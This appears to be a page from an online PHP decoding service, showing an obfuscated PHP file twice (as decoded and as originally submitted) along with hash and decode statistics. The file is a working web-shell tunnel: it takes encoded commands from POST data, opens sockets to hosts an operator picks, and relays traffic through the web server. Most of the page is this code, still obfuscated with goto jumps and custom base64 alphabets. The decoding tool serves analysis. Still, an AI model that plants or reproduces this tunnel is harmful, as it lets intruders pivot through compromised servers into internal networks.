Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ini_set("allow_url_fopen", true); ini_set("allow_url_include", true); error_reporti..
Decoded Output download
<?php
ini_set("allow_url_fopen", true); ini_set("allow_url_include", true); error_reporting(E_ERROR | E_PARSE); if (!version_compare(PHP_VERSION, "5.4.0", ">=")) { goto llYMWcc; } @http_response_code(200); llYMWcc: function blv_decode($lnVWVc) { goto llYMWcO; llYMWcO: $lnVWVM = strlen($lnVWVc); goto llYMWcV; llYMWcV: $lnVWVW = []; goto llYMWcp; llYMWcl: return $lnVWVW; goto llYMWcK; llYMWcp: $lnVWVO = 0; goto llYMWcq; llYMWcq: while ($lnVWVO < $lnVWVM) { $lnVWVV = unpack("c1b/N1l", substr($lnVWVc, $lnVWVO, 5)); $lnVWVp = $lnVWVV["b"]; $lnVWVq = $lnVWVV["l"] - 1835838534; $lnVWVO += 5; $lnVWVl = substr($lnVWVc, $lnVWVO, $lnVWVq); $lnVWVO += $lnVWVq; $lnVWVW[$lnVWVp] = $lnVWVl; } goto llYMWcl; llYMWcK: } function blv_encode($lnVWVW) { goto llYMWcn; llYMWMO: return $lnVWVc; goto llYMWMV; llYMWMW: foreach ($lnVWVW as $lnVWVp => $lnVWVl) { goto llYMWcX; llYMWcD: $lnVWVc .= $lnVWVl; goto llYMWch; llYMWcI: $lnVWVc .= pack("c1N1", $lnVWVp, $lnVWVq); goto llYMWcD; llYMWcX: $lnVWVq = strlen($lnVWVl) + 1835838534; goto llYMWcI; llYMWch: } goto llYMWMO; llYMWMM: $lnVWVW[39] = randstr(); goto llYMWMW; llYMWcn: $lnVWVc = ''; goto llYMWMc; llYMWMc: $lnVWVW[0] = randstr(); goto llYMWMM; llYMWMV: } function randstr() { goto llYMWMl; llYMWMK: $lnVWVB = mt_rand(5, 20); goto llYMWMB; llYMWMl: $lnVWVK = ''; goto llYMWMK; llYMWMY: return $lnVWVK; goto llYMWMX; llYMWMB: for ($lnVWVO = 0; $lnVWVO < $lnVWVB; $lnVWVO++) { $lnVWVK .= chr(mt_rand(0, 255)); } goto llYMWMY; llYMWMX: } $lnVWVY = 1; $lnVWVX = 2; $lnVWVI = 3; $lnVWVD = 4; $lnVWVh = 5; $lnVWVn = 6; $lnVWpc = 7; $lnVWpM = 8; $lnVWpW = 9; $lnVWpO = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $lnVWpV = "omNRu4SFbfBwjWOGsK/qDeikcLh1CM8PE6Ilay53+dHYt9XJV0ngTzvQA27pUZrx"; $lnVWpp = "MY8vdIDLtREaNwYU"; $lnVWpq = file_get_contents("php://input"); if (!empty($lnVWpq)) { goto llYMWMI; } $lnVWVW = blv_decode(base64_decode(strtr($lnVWpq, $lnVWpV, $lnVWpO))); goto llYMWMD; llYMWMI: $lnVWVW = blv_decode(base64_decode(strtr(base64_decode(base64_decode($lnVWpq)), $lnVWpV, $lnVWpO))); llYMWMD: $lnVWpl = array(); $lnVWpK = $lnVWVW[$lnVWVI]; $lnVWpB = $lnVWVW[$lnVWVX]; $lnVWpY = "run" . $lnVWpK; $lnVWpX = "writebuf" . $lnVWpK; $lnVWpI = "readbuf" . $lnVWpK; switch ($lnVWpB) { case "CONNECT": goto llYMWWX; llYMWOY: session_write_close(); goto llYMWOX; llYMWWh: $lnVWpn = fsockopen($lnVWpD, $lnVWph, $lnVWqc, $lnVWqM, 3); goto llYMWWn; llYMWOV: stream_set_blocking($lnVWpn, false); goto llYMWOp; llYMWOK: $_SESSION[$lnVWpX] = ''; goto llYMWOB; llYMWOX: while ($_SESSION[$lnVWpY]) { if (!empty($_SESSION[$lnVWpX])) { goto llYMWWO; } usleep(50000); llYMWWO: $lnVWqW = ''; @session_start(); $lnVWqO = $_SESSION[$lnVWpX]; $_SESSION[$lnVWpX] = ''; session_write_close(); if (!($lnVWqO != '')) { goto llYMWWp; } stream_set_blocking($lnVWpn, false); $lnVWVO = fwrite($lnVWpn, $lnVWqO); if (!($lnVWVO === false)) { goto llYMWWV; } @session_start(); $_SESSION[$lnVWpY] = false; session_write_close(); return; llYMWWV: llYMWWp: stream_set_blocking($lnVWpn, false); while ($lnVWqV = fgets($lnVWpn, 513)) { if (!($lnVWqV === false)) { goto llYMWWK; } @session_start(); $_SESSION[$lnVWpY] = false; session_write_close(); return; llYMWWK: $lnVWqW .= $lnVWqV; if (!(strlen($lnVWqW) > 524288)) { goto llYMWWB; } break; llYMWWB: } if (!($lnVWqW != '')) { goto llYMWWY; } @session_start(); $_SESSION[$lnVWpI] .= $lnVWqW; session_write_close(); llYMWWY: } goto llYMWOI; llYMWOI: fclose($lnVWpn); goto llYMWOD; llYMWOD: @header_remove("set-cookie"); goto llYMWOh; llYMWOM: $lnVWpl[$lnVWVh] = "Failed connecting to target"; goto llYMWOW; llYMWOW: break; goto llYMWOO; llYMWOh: break; goto llYMWOn; llYMWWI: $lnVWpD = $lnVWVW[$lnVWVn]; goto llYMWWD; llYMWOB: $_SESSION[$lnVWpI] = ''; goto llYMWOY; llYMWOc: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWOM; llYMWOl: $_SESSION[$lnVWpY] = true; goto llYMWOK; llYMWOp: ignore_user_abort(); goto llYMWOq; llYMWWn: if (!($lnVWpn === false)) { goto llYMWWc; } goto llYMWOc; llYMWWX: set_time_limit(0); goto llYMWWI; llYMWWD: $lnVWph = (int) $lnVWVW[$lnVWpc]; goto llYMWWh; llYMWOO: llYMWWc: goto llYMWOV; llYMWOq: @session_start(); goto llYMWOl; llYMWOn: case "DISCONNECT": goto llYMWVc; llYMWVV: session_write_close(); goto llYMWVp; llYMWVM: unset($_SESSION[$lnVWpY]); goto llYMWVW; llYMWVp: break; goto llYMWVq; llYMWVW: unset($_SESSION[$lnVWpI]); goto llYMWVO; llYMWVO: unset($_SESSION[$lnVWpX]); goto llYMWVV; llYMWVc: @session_start(); goto llYMWVM; llYMWVq: case "READ": goto llYMWVB; llYMWpM: goto llYMWVK; goto llYMWpW; llYMWpO: $lnVWpl[$lnVWVD] = "OK"; goto llYMWpV; llYMWVY: $lnVWqp = $_SESSION[$lnVWpI]; goto llYMWVX; llYMWVn: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWpc; llYMWpc: $lnVWpl[$lnVWVh] = "TCP session is closed"; goto llYMWpM; llYMWVB: @session_start(); goto llYMWVY; llYMWpp: header("Connection: Keep-Alive"); goto llYMWpq; llYMWVD: session_write_close(); goto llYMWVh; llYMWVX: $_SESSION[$lnVWpI] = ''; goto llYMWVI; llYMWpq: llYMWVK: goto llYMWpl; llYMWpl: break; goto llYMWpK; llYMWVI: $lnVWqq = $_SESSION[$lnVWpY]; goto llYMWVD; llYMWpV: $lnVWpl[$lnVWVY] = $lnVWqp; goto llYMWpp; llYMWVh: if ($lnVWqq) { goto llYMWVl; } goto llYMWVn; llYMWpW: llYMWVl: goto llYMWpO; llYMWpK: case "FORWARD": goto llYMWpI; llYMWqB: llYMWpY: goto llYMWqY; llYMWqW: break; goto llYMWqO; llYMWpI: @session_start(); goto llYMWpD; llYMWqK: goto llYMWpX; goto llYMWqB; llYMWqD: $lnVWpl[$lnVWVD] = "OK"; goto llYMWqh; llYMWqO: llYMWpB: goto llYMWqV; llYMWqh: header("Connection: Keep-Alive"); goto llYMWqn; llYMWpD: $lnVWqq = $_SESSION[$lnVWpY]; goto llYMWph; llYMWqq: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWql; llYMWpn: if ($lnVWqq) { goto llYMWpB; } goto llYMWqc; llYMWqc: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWqM; llYMWqM: $lnVWpl[$lnVWVh] = "TCP session is closed"; goto llYMWqW; llYMWqX: $_SESSION[$lnVWpX] .= $lnVWql; goto llYMWqI; llYMWph: session_write_close(); goto llYMWpn; llYMWqI: session_write_close(); goto llYMWqD; llYMWqY: @session_start(); goto llYMWqX; llYMWqV: $lnVWql = $lnVWVW[$lnVWVY]; goto llYMWqp; llYMWql: $lnVWpl[$lnVWVh] = "POST data parse error"; goto llYMWqK; llYMWqp: if ($lnVWql) { goto llYMWpY; } goto llYMWqq; llYMWlc: break; goto llYMWlM; llYMWqn: llYMWpX: goto llYMWlc; llYMWlM: default: goto llYMWlW; llYMWlO: @session_start(); goto llYMWlV; llYMWlW: $lnVWqK = true; goto llYMWlO; llYMWlV: session_write_close(); goto llYMWlp; llYMWlp: } if ($lnVWqK) { goto llYMWlq; } echo base64_encode(base64_encode(strtr(base64_encode(blv_encode($lnVWpl)), $lnVWpO, $lnVWpV))); goto llYMWll; llYMWlq: echo base64_encode(base64_encode(base64_decode(strtr("GNu9w/mqel4jcydXDuM9CzuTezywMq4JOkdzsydni3Wq1TdKKvyDsD9DMqmuszKye52IeIZ5wz4FDiaVbNT9GE==", $lnVWpV, $lnVWpO)))); llYMWll: ?>
Did this file decode correctly?
Original Code
<?php
ini_set("allow_url_fopen", true); ini_set("allow_url_include", true); error_reporting(E_ERROR | E_PARSE); if (!version_compare(PHP_VERSION, "5.4.0", ">=")) { goto llYMWcc; } @http_response_code(200); llYMWcc: function blv_decode($lnVWVc) { goto llYMWcO; llYMWcO: $lnVWVM = strlen($lnVWVc); goto llYMWcV; llYMWcV: $lnVWVW = []; goto llYMWcp; llYMWcl: return $lnVWVW; goto llYMWcK; llYMWcp: $lnVWVO = 0; goto llYMWcq; llYMWcq: while ($lnVWVO < $lnVWVM) { $lnVWVV = unpack("c1b/N1l", substr($lnVWVc, $lnVWVO, 5)); $lnVWVp = $lnVWVV["b"]; $lnVWVq = $lnVWVV["l"] - 1835838534; $lnVWVO += 5; $lnVWVl = substr($lnVWVc, $lnVWVO, $lnVWVq); $lnVWVO += $lnVWVq; $lnVWVW[$lnVWVp] = $lnVWVl; } goto llYMWcl; llYMWcK: } function blv_encode($lnVWVW) { goto llYMWcn; llYMWMO: return $lnVWVc; goto llYMWMV; llYMWMW: foreach ($lnVWVW as $lnVWVp => $lnVWVl) { goto llYMWcX; llYMWcD: $lnVWVc .= $lnVWVl; goto llYMWch; llYMWcI: $lnVWVc .= pack("c1N1", $lnVWVp, $lnVWVq); goto llYMWcD; llYMWcX: $lnVWVq = strlen($lnVWVl) + 1835838534; goto llYMWcI; llYMWch: } goto llYMWMO; llYMWMM: $lnVWVW[39] = randstr(); goto llYMWMW; llYMWcn: $lnVWVc = ''; goto llYMWMc; llYMWMc: $lnVWVW[0] = randstr(); goto llYMWMM; llYMWMV: } function randstr() { goto llYMWMl; llYMWMK: $lnVWVB = mt_rand(5, 20); goto llYMWMB; llYMWMl: $lnVWVK = ''; goto llYMWMK; llYMWMY: return $lnVWVK; goto llYMWMX; llYMWMB: for ($lnVWVO = 0; $lnVWVO < $lnVWVB; $lnVWVO++) { $lnVWVK .= chr(mt_rand(0, 255)); } goto llYMWMY; llYMWMX: } $lnVWVY = 1; $lnVWVX = 2; $lnVWVI = 3; $lnVWVD = 4; $lnVWVh = 5; $lnVWVn = 6; $lnVWpc = 7; $lnVWpM = 8; $lnVWpW = 9; $lnVWpO = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $lnVWpV = "omNRu4SFbfBwjWOGsK/qDeikcLh1CM8PE6Ilay53+dHYt9XJV0ngTzvQA27pUZrx"; $lnVWpp = "MY8vdIDLtREaNwYU"; $lnVWpq = file_get_contents("php://input"); if (!empty($lnVWpq)) { goto llYMWMI; } $lnVWVW = blv_decode(base64_decode(strtr($lnVWpq, $lnVWpV, $lnVWpO))); goto llYMWMD; llYMWMI: $lnVWVW = blv_decode(base64_decode(strtr(base64_decode(base64_decode($lnVWpq)), $lnVWpV, $lnVWpO))); llYMWMD: $lnVWpl = array(); $lnVWpK = $lnVWVW[$lnVWVI]; $lnVWpB = $lnVWVW[$lnVWVX]; $lnVWpY = "run" . $lnVWpK; $lnVWpX = "writebuf" . $lnVWpK; $lnVWpI = "readbuf" . $lnVWpK; switch ($lnVWpB) { case "CONNECT": goto llYMWWX; llYMWOY: session_write_close(); goto llYMWOX; llYMWWh: $lnVWpn = fsockopen($lnVWpD, $lnVWph, $lnVWqc, $lnVWqM, 3); goto llYMWWn; llYMWOV: stream_set_blocking($lnVWpn, false); goto llYMWOp; llYMWOK: $_SESSION[$lnVWpX] = ''; goto llYMWOB; llYMWOX: while ($_SESSION[$lnVWpY]) { if (!empty($_SESSION[$lnVWpX])) { goto llYMWWO; } usleep(50000); llYMWWO: $lnVWqW = ''; @session_start(); $lnVWqO = $_SESSION[$lnVWpX]; $_SESSION[$lnVWpX] = ''; session_write_close(); if (!($lnVWqO != '')) { goto llYMWWp; } stream_set_blocking($lnVWpn, false); $lnVWVO = fwrite($lnVWpn, $lnVWqO); if (!($lnVWVO === false)) { goto llYMWWV; } @session_start(); $_SESSION[$lnVWpY] = false; session_write_close(); return; llYMWWV: llYMWWp: stream_set_blocking($lnVWpn, false); while ($lnVWqV = fgets($lnVWpn, 513)) { if (!($lnVWqV === false)) { goto llYMWWK; } @session_start(); $_SESSION[$lnVWpY] = false; session_write_close(); return; llYMWWK: $lnVWqW .= $lnVWqV; if (!(strlen($lnVWqW) > 524288)) { goto llYMWWB; } break; llYMWWB: } if (!($lnVWqW != '')) { goto llYMWWY; } @session_start(); $_SESSION[$lnVWpI] .= $lnVWqW; session_write_close(); llYMWWY: } goto llYMWOI; llYMWOI: fclose($lnVWpn); goto llYMWOD; llYMWOD: @header_remove("set-cookie"); goto llYMWOh; llYMWOM: $lnVWpl[$lnVWVh] = "Failed connecting to target"; goto llYMWOW; llYMWOW: break; goto llYMWOO; llYMWOh: break; goto llYMWOn; llYMWWI: $lnVWpD = $lnVWVW[$lnVWVn]; goto llYMWWD; llYMWOB: $_SESSION[$lnVWpI] = ''; goto llYMWOY; llYMWOc: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWOM; llYMWOl: $_SESSION[$lnVWpY] = true; goto llYMWOK; llYMWOp: ignore_user_abort(); goto llYMWOq; llYMWWn: if (!($lnVWpn === false)) { goto llYMWWc; } goto llYMWOc; llYMWWX: set_time_limit(0); goto llYMWWI; llYMWWD: $lnVWph = (int) $lnVWVW[$lnVWpc]; goto llYMWWh; llYMWOO: llYMWWc: goto llYMWOV; llYMWOq: @session_start(); goto llYMWOl; llYMWOn: case "DISCONNECT": goto llYMWVc; llYMWVV: session_write_close(); goto llYMWVp; llYMWVM: unset($_SESSION[$lnVWpY]); goto llYMWVW; llYMWVp: break; goto llYMWVq; llYMWVW: unset($_SESSION[$lnVWpI]); goto llYMWVO; llYMWVO: unset($_SESSION[$lnVWpX]); goto llYMWVV; llYMWVc: @session_start(); goto llYMWVM; llYMWVq: case "READ": goto llYMWVB; llYMWpM: goto llYMWVK; goto llYMWpW; llYMWpO: $lnVWpl[$lnVWVD] = "OK"; goto llYMWpV; llYMWVY: $lnVWqp = $_SESSION[$lnVWpI]; goto llYMWVX; llYMWVn: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWpc; llYMWpc: $lnVWpl[$lnVWVh] = "TCP session is closed"; goto llYMWpM; llYMWVB: @session_start(); goto llYMWVY; llYMWpp: header("Connection: Keep-Alive"); goto llYMWpq; llYMWVD: session_write_close(); goto llYMWVh; llYMWVX: $_SESSION[$lnVWpI] = ''; goto llYMWVI; llYMWpq: llYMWVK: goto llYMWpl; llYMWpl: break; goto llYMWpK; llYMWVI: $lnVWqq = $_SESSION[$lnVWpY]; goto llYMWVD; llYMWpV: $lnVWpl[$lnVWVY] = $lnVWqp; goto llYMWpp; llYMWVh: if ($lnVWqq) { goto llYMWVl; } goto llYMWVn; llYMWpW: llYMWVl: goto llYMWpO; llYMWpK: case "FORWARD": goto llYMWpI; llYMWqB: llYMWpY: goto llYMWqY; llYMWqW: break; goto llYMWqO; llYMWpI: @session_start(); goto llYMWpD; llYMWqK: goto llYMWpX; goto llYMWqB; llYMWqD: $lnVWpl[$lnVWVD] = "OK"; goto llYMWqh; llYMWqO: llYMWpB: goto llYMWqV; llYMWqh: header("Connection: Keep-Alive"); goto llYMWqn; llYMWpD: $lnVWqq = $_SESSION[$lnVWpY]; goto llYMWph; llYMWqq: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWql; llYMWpn: if ($lnVWqq) { goto llYMWpB; } goto llYMWqc; llYMWqc: $lnVWpl[$lnVWVD] = "FAIL"; goto llYMWqM; llYMWqM: $lnVWpl[$lnVWVh] = "TCP session is closed"; goto llYMWqW; llYMWqX: $_SESSION[$lnVWpX] .= $lnVWql; goto llYMWqI; llYMWph: session_write_close(); goto llYMWpn; llYMWqI: session_write_close(); goto llYMWqD; llYMWqY: @session_start(); goto llYMWqX; llYMWqV: $lnVWql = $lnVWVW[$lnVWVY]; goto llYMWqp; llYMWql: $lnVWpl[$lnVWVh] = "POST data parse error"; goto llYMWqK; llYMWqp: if ($lnVWql) { goto llYMWpY; } goto llYMWqq; llYMWlc: break; goto llYMWlM; llYMWqn: llYMWpX: goto llYMWlc; llYMWlM: default: goto llYMWlW; llYMWlO: @session_start(); goto llYMWlV; llYMWlW: $lnVWqK = true; goto llYMWlO; llYMWlV: session_write_close(); goto llYMWlp; llYMWlp: } if ($lnVWqK) { goto llYMWlq; } echo base64_encode(base64_encode(strtr(base64_encode(blv_encode($lnVWpl)), $lnVWpO, $lnVWpV))); goto llYMWll; llYMWlq: echo base64_encode(base64_encode(base64_decode(strtr("GNu9w/mqel4jcydXDuM9CzuTezywMq4JOkdzsydni3Wq1TdKKvyDsD9DMqmuszKye52IeIZ5wz4FDiaVbNT9GE==", $lnVWpV, $lnVWpO)))); llYMWll: ?>
Function Calls
None |
Stats
MD5 | 231824ebd550dc471444a3fc8797a807 |
Eval Count | 0 |
Decode Time | 51 ms |